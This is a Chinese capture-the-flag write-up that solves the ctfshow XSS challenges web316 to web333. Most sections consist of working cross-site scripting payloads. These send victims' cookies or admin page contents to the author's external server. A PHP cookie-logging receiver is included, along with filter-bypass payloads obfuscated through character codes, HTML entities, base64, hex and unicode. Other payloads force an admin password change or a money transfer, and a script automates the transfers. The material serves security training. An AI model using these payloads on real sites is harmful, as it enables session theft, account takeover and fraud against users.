Ctfshow web入门 XSS篇 web316-web333 详细题解 全

这篇具有很好参考价值的文章主要介绍了Ctfshow web入门 XSS篇 web316-web333 详细题解 全。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTFshow XSS web316

是反射型 XSS

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

法一:

利用现成平台

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

法二:

自己搭服务器

先在服务器上面放一个接受Cookie的文件。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

文件内容:

<?php
	$cookie = $_GET['cookie'];
	$time = date('Y-m-d h:i:s', time());
	$log = fopen("cookie.txt", "a");
	fwrite($log,$time.':    '. $cookie . "\n");
	fclose($log);
?>

payload:

<script>location.href="http://47.98.193.145(自己服务器的公网ip)/1111(我多建了一个文件夹)/127.php(存放上述php代码的文件)?cookie="+document.cookie</script>

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

已经获取到Cookie了

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

之后的题都用服务器不用XSS平台了。

管理服务器我用的是xshellxftp

CTFshow XSS web317

和上一题一样的情景。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

测试一下过滤了script了。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

标签可以用 img

Payload:

<img src="" οnerrοr=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

CTFshow XSS web318

先进行一下测试,看看过滤了什么。

无回显

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

无回显

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

<body>alert(1)</body>有回显,可以用<body>

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

payload:

<body οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

这些payload也行:

<body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie"></body>

<body onload="document.location.href='http://47.98.193.145/1111/127.php?1='+document.cookie">

<iframe οnlοad=document.location='http://47.98.193.145:1470/?cookie='+document.cookie>

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

CTFshow XSS web319

同web318

CTFshow XSS web320

以这种方式排查过滤,试出他过滤了script,img,空格。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

空格可以用%09tab//**/代替。

Payload:

<body/**/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

扩展一下payload:

String.fromCharCode()函数:ascii码转字符

参考:https://www.runoob.com/jsref/jsref-fromcharcode.html

String.fromCharCode(111,110,108,111,97,100); 控制台运行结果如下:

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

用它我可以构造一个payload:

<body/**/οnlοad=document.write(String.fromCharCode(60,115,99,114,105,112,116,62,100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,49,50,48,46,52,54,46,52,49,46,49,55,51,47,74,97,121,49,55,47,49,50,55,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,60,47,115,99,114,105,112,116,62));>

String.fromCharCode(***)就是<script>document.location.href='http://120.46.41.173/Jay17/127.php?cookie='+document.cookie</script>

字符串转ascii码脚本:

input_str = input("请输入字符串: ")  # 获取用户输入的字符串
ascii_list = []

# 遍历字符串,将每个字符转换为ASCII码,并添加到列表中
for char in input_str:
    ascii_code = ord(char)  # 使用ord()函数获取字符的ASCII码
    ascii_list.append(str(ascii_code))  # 将ASCII码转换为字符串并添加到列表

# 将列表中的ASCII码用逗号隔开,并打印结果
result = ','.join(ascii_list)
print("转换后的ASCII码:", result)

ascii码转字符串脚本:

def ascii_to_string(ascii_str):
    # 将以逗号分隔的ASCII码字符串分割成一个列表
    ascii_list = ascii_str.split(',')

    # 使用列表推导式将ASCII码转换为字符,并连接成一个字符串
    result = ''.join(chr(int(code)) for code in ascii_list)
    return result


# 输入以逗号分隔的ASCII码字符串
ascii_str = input("请输入以逗号分隔的ASCII码字符串: ")

# 调用函数进行转换并打印结果
string_result = ascii_to_string(ascii_str)
print("转换后的字符串:", string_result)

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

后来想了想,刷这个是以入门为目的,这种千奇百怪的payload就先不用了,我会放在文章最后,感兴趣的师傅们看看哦。

CTFshow XSS web321

同web320

CTFshow XSS web322

过滤了script,img,iframe,xss,空格,分号,逗号。

网上wp说过滤了点号. 个人尝试过貌似没有。

payload:

<iframe/**/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie></iframe>

<svg/**/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

<body/οnlοad=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

<input/**/οnfοcus=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie>

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

CTFshow XSS web323

同web322

CTFshow XSS web324

同web322

CTFshow XSS web325

同web322

CTFshow XSS web326

同web322

反射型到这一题应该就截止了,现在讲讲千奇百怪的payload。

反射型绕过过滤好文:xss 常用标签及绕过姿势总结 - FreeBuf网络安全行业门户


一、

<iframe	WIDTH=0	HEIGHT=0	srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#46;&#115;&#98;&#47;&#49;&#66;&#113;&#117;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

原文描述是10进制转实体

这个&#60其实是十进制的html 实体编码。字符串转十进制的html 实体编码脚本如下:

def string_to_html_entities(input_str):
    html_entities = [f'&#{ord(char)};' for char in input_str]
    result = ''.join(html_entities)
    return result

input_str = input("请输入字符串: ")
html_entities_result = string_to_html_entities(input_str)
print("HTML实体编码:", html_entities_result)

<iframe后面的WIDTH=0 HEIGHT=0其实是设置宽、高等属性,没有也没事。


二、

<iframe/srcdoc=。。。。。。。。。。&#60;&#115;&#67;&#82;&#105;&#80;&#116;&#32;&#115;&#82;&#67;&#61;&#34;&#104;&#116;&#116;&#112;&#115;&#58;&#47;&#47;&#120;&#115;&#115;&#46;&#112;&#116;&#47;&#99;&#76;&#103;&#70;&#34;&#62;&#60;&#47;&#115;&#67;&#114;&#73;&#112;&#84;&#62;>

同一,只不过换种写法。


三、

<input οnfοcus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veHNzOC5jYy8ySEpJIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== autofocus>

这里就是base64编码绕过过滤。

atob 函数:atob() 方法用于解码使用 base-64 编码的字符串。

语法:window.atob(【base64编码的数据】)

除了像这种payload这样用,还能像如下这些payload这样使用:

<a href=javascript:eval(atob('SmF5MTc='))>test</a>
<a href=javascript:eval(window.atob('SmF5MTc='))>test</a>
<a href=javascript:eval(window['atob']('SmF5MTc='))>test</a>
<img src=x onmouseover="eval(window.atob('SmF5MTc='))">
<img src=x onerror="eval(atob('SmF5MTc='))">
<iframe src="javascript:eval(window['atob']('SmF5MTc='))"></iframe>

但是奇怪的是,url改成自己的vps,打了一下316没打出来。


四、

<body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")>

混合编码。加密顺序为:ascii编码加密、十六进制

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

十六进制加解密:字符16进制加密/解密 - 一个工具箱 - 好用的在线工具都在这里! (atoolbox.net)


五、

<body/οnlοad=eval("\u0064\u006F\u0063\u0075\u006D\u0065\u006E\u0074\u002E\u0077\u0072\u0069\u0074\u0065\u0028\u0053\u0074\u0072\u0069\u006E\u0067\u002E\u0066\u0072\u006F\u006D\u0043\u0068\u0061\u0072\u0043\u006F\u0064\u0065\u0028\u0036\u0030\u002C\u0031\u0031\u0035\u002C\u0036\u0037\u002C\u0038\u0032\u002C\u0031\u0030\u0035\u002C\u0038\u0030\u002C\u0031\u0031\u0036\u002C\u0033\u0032\u002C\u0031\u0031\u0035\u002C\u0038\u0032\u002C\u0036\u0037\u002C\u0036\u0031\u002C\u0034\u0037\u002C\u0034\u0037\u002C\u0031\u0032\u0030\u002C\u0031\u0031\u0035\u002C\u0034\u0036\u002C\u0031\u0031\u0035\u002C\u0039\u0038\u002C\u0034\u0037\u002C\u0034\u0039\u002C\u0036\u0036\u002C\u0031\u0031\u0033\u002C\u0031\u0031\u0037\u002C\u0036\u0032\u002C\u0036\u0030\u002C\u0034\u0037\u002C\u0031\u0031\u0035\u002C\u0036\u0037\u002C\u0031\u0031\u0034\u002C\u0037\u0033\u002C\u0031\u0031\u0032\u002C\u0038\u0034\u002C\u0036\u0032\u0029\u0029\u003B")>

也是混合加密,加密顺序是:ascii编码加密、unicode加密。


最后放一下我搜集的各种头和绕过手段。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

CTFshow XSS web327

这题开始是存储型XSS了。首先就是poster必须是admin才能发送成功,其次就是XSS的触发点应该是sender和content都可以。这题没有任何过滤。

payload:(其实这题没有过滤,懒一点直接复制之前的了)

<script> onload=location.href="http://47.98.193.145/1111/127.php?cookie="+document.cookie</script>

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

CTFshow XSS web328

注册时候用户名密码都用payload(头这里没用了,可能被过滤了)

打paylaod前vps监听9023端口。

payload:

<script>window.open('http://120.46.41.173:9023/'+document.cookie)</script>

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

这些应该是管理员的cookie。抓包伪造一下cookie试试

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

然后放包,一个一个放,速度要慢。放一个包改一次cookie。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

或者也可以直接修改储存,然后burp开启拦截,一个一个放包(这种方法就不用修改东西了,储存都改了,一个一个放包要不然flag一闪而过。)

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

别人的wp:
TIP:关于异步(加深了解可写项目或看项目),页面框架获取和数据拉取填充是异步进行的,不在同一个数据包中,如果通过BURP完成此题,请注意数据包是否为获取指定数据。

另外一种思路:
将页面指定部分直接发送到XSS平台
经分析,flag大概率在document.body.innerText,且数据量不大

yu师傅的超强模块也是个好办法:

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

CTFshow XSS web329

还是仅管理员可见。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

和上题不同的是,Cookie会立刻失效。不能通过窃取Cookie的形式得到flag了。

我们分析一下原理,我们的payload作为储存型XSS,管理员访问时候能被我们窃取Cookie,那是不是还能窃取点别的东西呢,比如说管理员看到的用户名和密码。理论上来说是可以的,所以就直接获取管理员的页面信息。

问题是如何带出数据?


方法一:我们可以通过类名查找元素,通过document来获取。

现在vps上面监听端口9023。

innerHTML和outerHTML的区别

1、innerHTML:
  从对象的起始位置到终止位置的全部内容,不包括Html标签。
innerText可替代innerHTML

2、outerHTML:
  除了包含innerHTML的全部内容外, 还包含对象标签本身。

可以看到前端代码中将要显示admin密码的地方类为layui-table-cell laytable-cell-1-0-1

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

payload: (作为账号密码注册后登录)

<script>window.open('http://120.46.41.173:9023/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>

解释一下它的每一部分:

  1. window.open('http://120.46.41.173:9023/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML) 这是一个调用 window.open() 函数的语句,用于打开新的浏览器窗口。
  2. 'http://120.46.41.173:9023/' 这是一个字符串,表示要打开的网页的 URL。它包括了协议(http://)、主机名(120.46.41.173)和端口号(9023),以及路径(后面的斜杠 /)。
  3. document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML 这是一系列 DOM 操作,用于获取网页中特定元素的内容。
    • document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1') 是一个通过类名查找元素的方法。它查找具有类名 'layui-table-cell''laytable-cell-1-0-1' 的元素,通常这是一种针对表格单元格的选择。
    • [1] 表示从匹配的元素列表中选择第二个元素(JavaScript 中的数组索引从 0 开始)。
    • .innerHTML 用于获取选定元素的 HTML 内容,也就是在这个表格单元格中显示的文本或 HTML。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全


方法二:jQuery 选择器查找类和获取内容。

上一个方法已知我们要获取的数据对应的类名字是layui-table-cell laytable-cell-1-0-1。(中间有空格表示这里有两个类,对应表格里面【用户名 密码】)

这里我们可以只读一个,也可以都读。都读的话.layui-table-cell.laytable-cell-1-0-1,只读一个的话.laytable-cell-1-0-1

JS中indexOf() 方法返回值在字符串中第一次出现的位置。如果未找到该值,则 indexOf() 方法返回 -1indexOf() 方法区分大小写。

先在控制台自己测试一下: (能成功获取类和内容就可以了)

$('.laytable-cell-1-0-1').each(function(index,value){
	console.log(value);
});

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

vps监听9023端口。

payload: (作为账号密码注册后登录)

<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctfshow{')>-1){window.location.href='http://120.46.41.173:9023/'+value.innerHTML;}});</script>

解释一下它的每一部分:

  1. $('div.layui-table-cell.laytable-cell-1-0-1').each(function(index, value) { ... });
    这是一个 jQuery 选择器,它查找具有类名 'layui-table-cell''laytable-cell-1-0-1'<div> 元素集合,并对每个元素执行一个函数。

  2. .each(function(index, value) { ... })
    这是 jQuery 的遍历方法,它会遍历匹配的元素集合,并对每个元素执行包含在函数中的操作。在这里,函数接受两个参数,index 表示当前元素在集合中的索引,value 表示当前元素的引用。

  3. if (value.innerHTML.indexOf('ctfshow{') > -1) { ... }
    这是在遍历中的条件语句,它检查当前元素的内容是否包含字符串 'ctfshow{'value.innerHTML 表示当前元素的 HTML 内容,.indexOf('ctfshow{') 用于查找是否包含 'ctfshow{',如果包含则返回大于 -1 的索引,否则返回 -1。

  4. window.location.href = 'http://120.46.41.173:9023/' + value.innerHTML;
    如果条件满足,即当前元素的内容包含 'ctfshow{',则执行这一行代码。它会将浏览器的当前位置重定向到一个新的 URL,这个 URL 是 'http://120.46.41.173:9023/' 加上当前元素的内容。这样就可以在浏览器中打开一个新的页面,新页面的 URL 包含了 'ctfshow{' 以及其他内容。

做时小疑惑:我带出来的内容不是flag而是我的payload???

感觉是编码出了问题,看图,虽然是我的paylaod,但是加号却变成空格了,把加号转义、URL编码什么的都没用,带出来的还是我的payload。非常的异或呢。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

分析一波,我猜测他确实把第一个用户的密码给我了,但是呢,第一个用户是我刚刚注册的那个,就是我的paylaod,而且呢,我的payload也包含了ctfshow{

验证猜测,我注册一个号,账号密码都是ctfshow{i am Jay17},果不其然,监听到的内容就变成了ctfshow{i am Jay17}

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

所以,这题特殊情况,我们需要改改paylaoad: (包含ctfshow{ 但是不包含script

<script>$('div.layui-table-cell.laytable-cell-1-0-1').each(function (index, value) {if ((value.innerHTML.indexOf('ctfshow{') > -1)&&(value.innerHTML.indexOf('script') === -1)) {window.location.href = 'http://120.46.41.173:9023/' +value.innerHTML;}});</script>

如愿以偿得到flag。CTF甚至网安就是这样,需要不断地探索和分析。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全


方法三:querySelector方法获取内容

querySelector 是 JavaScript 中用于从文档中选择一个或多个元素的方法。这个方法允许您通过指定 CSS 选择器来查找并返回文档中匹配该选择器的第一个元素(如果有多个匹配项,则只返回第一个匹配项)。

以下是 querySelector 方法的解释:

  1. 基本语法

    var element = document.querySelector(selector);
    
    • selector 是一个字符串,表示要查找的元素的 CSS 选择器。
  2. 示例

    // 通过ID选择元素
    var elementById = document.querySelector('#myId');
    // 通过类名选择元素
    var elementsByClass = document.querySelector('.myClass');
    // 通过标签名选择元素
    var elementsByTagName = document.querySelector('div');
    // 使用复杂的选择器,本题就是这种
    var complexSelector = document.querySelector('div.container > p:first-child');
    

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

payload: 其实\#top > div.layui-container能把所有源码都读了,最方便

<script>var img = new Image();img.src = "http://120.46.41.173:9023/"+document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;document.body.append(img);</script>

解释一下它的每一部分:

  1. var img = new Image();
    这行代码创建了一个新的图像元素对象,并将其分配给变量 img。这个对象用于在页面上加载图像。

  2. img.src = "http://120.46.41.173:9023/" + document.querySelector('#top > div.layui-container > div:nth-child(4) > div > div.layui-table-box > div.layui-table-body.layui-table-main').textContent;
    这行代码设置了图像的 src 属性,即要加载的图像的 URL。URL 是通过拼接多个部分构建的:

    • "http://120.46.41.173:9023/" 是图像的基本 URL。
    • document.querySelector(...) 是一个 DOM 查询操作,用于获取页面上特定元素的内容。在这里,它获取了一个具有复杂选择器的元素,该元素位于页面的某个位置。它的目的是获取这个元素的文本内容。
    • textContent 是获取 DOM 元素文本内容的属性。

    综合起来,这行代码的目的是获取特定 DOM 元素的文本内容,然后将其添加到图像 URL 的末尾,以便通过 URL 传递给服务器。

  3. document.body.append(img);
    最后一行代码将创建的图像元素 img 添加到页面的 <body> 元素中,这样图像将被加载并显示在页面上。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全


大佬的补充:

// 定义sleep函数,转跳,睡眠,接口通信,然而由于机器人不用浏览器未实现,如果是真人则可行
<script>function sleep(numberMillis) {var now = new Date();var exitTime=now.getTime() + numberMillis;while (true) {now = new Date();if (now.getTime() > exitTime)return;}};window.location.href="manager.php";sleep(1000);$('.layui-table-cell.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('{')>-1){document.location.href='http://xxxxxxxxxxxxxxxxxxxxxxxx/x.php?1='+value.innerHTML;}});</script>

CTFshow XSS web330

这题可以修改密码。那做法就是XSS修改管理员密码了,当然像上题那样直接读取源码也可以。

先自己注册一个号,修改密码看看包。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

可以看见,调用了一个api/api/change.php?p=123。参数p就是我们修改后的密码。Cookie用于验证身份。

我们想修改管理员的密码,一开始肯定会想到先拿管理员Cookie再伪造包。但是管理员Cookie实时变化呀。我们何尝不使管理员"主动"修改密码呢,当然,是在XSS的作用下"主动"修改密码。

payload: (还是老样子,作为账号密码,注册登录)

<script>window.location.href='http://127.0.0.1/api/change.php?p=1717';</script>

之后登录账号admin,密码1717

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

这时候会出现一种情况,我们在管理员账号上一点击用户管理,立马跳转到api,来不及复制flag。这是因为我们的XSSpayload是一个用户账号,管理员每次访问用户管理都会解析它。

解决办法:立刻Ctrl+u查看源码或者抓包。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

CTFshow XSS web331

和上题类似,我们先抓包分析。这次修改密码变成了POST请求。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

大体不变,payload改改就可以。

<script>$.ajax({url:"api/change.php",method:"POST",data:{'p':'1717'}})</script>

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

CTFshow XSS web332

题目描述:XSS在哪里?

这次多了好多功能,flag价格是9999。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

成功注册登录后,初始金额是5。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

XSS的话,我们肯定会想到让admin给我们汇款哈哈哈哈。也可以自己给别人汇款值为负数或者自己给自己汇款。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

我们不管非预期,按XSS来做。先抓个包看看。

Ctfshow web入门 XSS篇 web316-web333 详细题解 全,CTFSHOW web入门 wp合集,前端,xss,html,js,反射型XSS,储存型XSS,web安全

还是api,/api/amount.php。参数都是POST传递的,账号是u,款是a

payload:

<script src=http://120.46.41.173/Jay17/test.js></script>

test.js:

$.ajax({
    url: "http://127.0.0.1/api/amount.php",
    method: "POST",
    data: {'u': 'jay', 'a': 99999},
    cache: false,
    success: function (res) {
    }
})

不知道为什么XSS出不来了,能找到的payload都试了一遍,X不出来。而且两题转账抓包都是POST提交的。。。网上说一个GET一个POST。

算了,直接给admin转负数吧,反正就是这个原理。

CTFshow XSS web333

同web332。ban了负数转账,写脚本自己转自己吧。文章来源地址https://www.toymoban.com/news/detail-729118.html

import requests
url = "http://c7e62c4c-a965-48a5-9c7a-390114141304.challenge.ctf.show/api/amount.php"
headers ={'Cookie':'PHPSESSID=gcvvvfpmp9c8dnfrd34b2ts93r'} #自己账号登陆后的sessionid

for i in range(0,10000):
    tmp=i*4
    data = {
        'u': 'jay',
        'a': str(tmp)
    }
    res=requests.post(url,data=data,headers=headers)

到了这里,关于Ctfshow web入门 XSS篇 web316-web333 详细题解 全的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Ctfshow web入门 权限维持篇 web670-web679 详细题解 全

    补充一下PHP中单双引号的区别: 单引号和双引号之间最显着的区别在于我们插入字符串和变量时。单引号不插入字符串和变量。单引号内的内容会按原样打印出来。在大多数情况下,单引号内没有任何变量或转义序列的编译。 但是,在双引号的情况下,写在引号内的变量将

    2024年02月11日
    浏览(38)
  • Ctfshow web入门 SSTI 模板注入篇 web361-web372 详细题解 全

    笔记分享 一、代码块 二、常用方法 三、SSTI-jinja2执行命令的六种方式 最后附上我的思维导图 开始做题 进去是个这玩意。非常明显的SSTI模板注入的特征。 题目有提到名字就是考点。 测试一下是jinja2模板 payload:(以下这些都可以) 开始过滤了,测试了一下过滤了数字,1和

    2024年02月13日
    浏览(38)
  • Ctfshow web入门 XXE 模板注入篇 web373-web378 详细题解 全

    学习资料: (梭哈~) https://www.cnblogs.com/20175211lyz/p/11413335.html https://www.cnblogs.com/zhaijiahui/p/9147595.html https://www.cnblogs.com/r00tuser/p/7255939.html https://mp.weixin.qq.com/s?__biz=MzU1ODg3NTMyMQ==mid=2247489349idx=1sn=ab435be65bc6c35a21ea4bd040693d8csource=41#wechat_redirect https://security.tencent.com/index.php/blog/msg/69

    2024年02月13日
    浏览(38)
  • Ctfshow web入门 sqli-labs特性篇 web517-web568 详细题解 全

    这里插一句。 limit 100,1 是从第100条数据开始,读取1条数据。 limit 6 是读取前6条数据。 报错注入 绕过字符串返回长度限制。 盲注 布尔和时间都可以的。 闭合换成了 \\\" 。其他和上题一样。 ctfshow–flagpa–flag3a3– 测一下回显位 布尔盲注还是能用。不过这次我们换个方法。 它

    2024年02月15日
    浏览(49)
  • Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

    pregmatch 是正则匹配函数,匹配是否包含flag, if(!preg_match(\\\"/flag/i\\\", $c)) , /i 忽略大小写 可以利用system来间接执行系统命令 flag采用 f* 绕过,或者 mv fl?g.php 1.txt 修改文件名,或者 cat 反引号ls反引号 linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html 多了对system和php的过滤 用

    2024年02月07日
    浏览(60)
  • ctfshow-web入门-爆破wp

    ​进入主页为登录框,随便输入信息用burp抓包,发现Authorization认证使用Base64加密传输,解密发现为刚才输入的信息 右键发送至Intruder进行爆破,使用题目给出的字典进行爆破并添加变量 添加前缀使用户名固定并用Base64加密传输,记得取消勾选url-encode,不然会转义Base64的\\\"=

    2024年02月05日
    浏览(48)
  • ctfshow-Web入门-命令执行wp

    ​简单的命令执行,使用/i模式过滤大小写flag,可以使用通配符绕过过滤。 ​比上一题多过滤system与php,可以使用其他函数来执行命令,具体可以参考PHP中常见的命令执行函数与代码执行函数_-passthru-CSDN博客 ​多过滤cat,sort,shell,\\\'.\\\',空格,\\\'\\\'\\\' ​cat,sort可用其他查询命令,如

    2024年02月05日
    浏览(75)
